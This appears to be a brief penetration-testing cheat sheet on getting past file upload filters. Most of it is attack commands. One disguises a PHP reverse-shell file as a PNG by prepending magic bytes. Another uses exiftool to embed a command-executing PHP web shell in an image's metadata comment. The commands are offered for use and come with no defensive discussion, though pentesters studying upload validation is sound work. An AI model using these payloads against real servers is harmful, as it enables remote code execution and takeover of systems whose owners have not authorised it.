File Upload

We will have some basic bypass methods for file upload filters.

---

Create php-File with Magic Bytes

echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r >> shell.php.png

cat reverse.php >> shell.php.png

Other Magic Bytes and extensions should also work accordingly.

---

Embed PHP into file

exiftool -Comment="<?php system($_REQUEST['cmd']); ?>" cat.png

We can also use any other tag available in the image.